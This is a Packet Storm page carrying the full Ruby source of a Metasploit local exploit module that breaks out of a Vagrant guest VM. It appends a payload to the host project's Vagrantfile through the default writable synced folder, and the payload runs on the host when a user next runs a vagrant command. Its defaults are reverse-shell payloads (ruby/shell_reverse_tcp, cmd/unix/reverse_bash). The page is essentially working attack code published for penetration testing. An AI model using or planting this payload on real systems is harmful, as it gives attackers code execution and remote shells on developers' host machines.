exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Vagrant Synced Folder Vagrantfile Breakout

Vagrant Synced Folder Vagrantfile Breakout
Posted Oct 27, 2022
Authored by Brendan Coles, HashiCorp | Site metasploit.com

This Metasploit module exploits a default Vagrant synced folder (shared folder) to append a Ruby payload to the Vagrant project Vagrantfile config file. By default, unless a Vagrant project explicitly disables shared folders, Vagrant mounts the project directory on the host as a writable vagrant directory on the guest virtual machine. This directory includes the project Vagrantfile configuration file. Ruby code within the Vagrantfile is loaded and executed when a user runs any vagrant command from the project directory on the host, leading to execution of Ruby code on the host.

tags | exploit, ruby
SHA-256 | 4aa68ef0141c22e4e2be0cd50c642945c2afd7a94ea98ee68a6375e6bd398e81

Vagrant Synced Folder Vagrantfile Breakout

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',
'Description' => %q{
This module exploits a default Vagrant synced folder (shared folder)
to append a Ruby payload to the Vagrant project Vagrantfile config file.

By default, unless a Vagrant project explicitly disables shared folders,
Vagrant mounts the project directory on the host as a writable 'vagrant'
directory on the guest virtual machine. This directory includes the
project Vagrantfile configuration file.

Ruby code within the Vagrantfile is loaded and executed when a user
runs any vagrant command from the project directory on the host,
leading to execution of Ruby code on the host.
},
'License' => MSF_LICENSE,
'Author' => [
'HashiCorp', # Vagrant defaults
'bcoles' # Metasploit
],
'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG
'Platform' => %w[ruby],
'Arch' => ARCH_ALL,
'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [
[
'Ruby Code',
{
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Type' => :ruby,
'DefaultOptions' => {
'PAYLOAD' => 'ruby/shell_reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => '`' },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.vagrantup.com/docs/synced-folders'],
['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options([
OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])
])
end

# Search potential default shared directories for Vagrantfile configuration file
def find_vagrantfile_path
unless datastore['VAGRANTFILE_PATH'].blank?
return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil
end

# Default Vagrant synced folders (aka shared folders)
default_shared_directories = [
'C:\\vagrant\\',
'/vagrant/'
]

default_shared_directories.each do |dir_path|
begin
vagrant_shared_dir_contents = dir(dir_path)
rescue Rex::Post::Meterpreter::RequestError
next
end

next if vagrant_shared_dir_contents.empty?

# Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")
vagrant_shared_dir_contents.each do |fname|
return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'
end
end

nil
end

def vagrantfile
@vagrantfile ||= find_vagrantfile_path
end

def check
return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile

# `writable?' method does not support Windows systems
begin
return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)
rescue RuntimeError
return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")
end

CheckCode::Appears("#{vagrantfile} is writable!")
end

def exploit
fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile

case target['Type']
when :ruby
data = payload.encoded
when :unix_cmd
data = "`#{payload.encoded}`"
else
fail_with(Failure::NoTarget, 'No target selected')
end

print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")

unless append_file(vagrantfile, "\n#{data}\n")
fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")
end

print_status("Payload appended to #{vagrantfile}")
print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')
print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close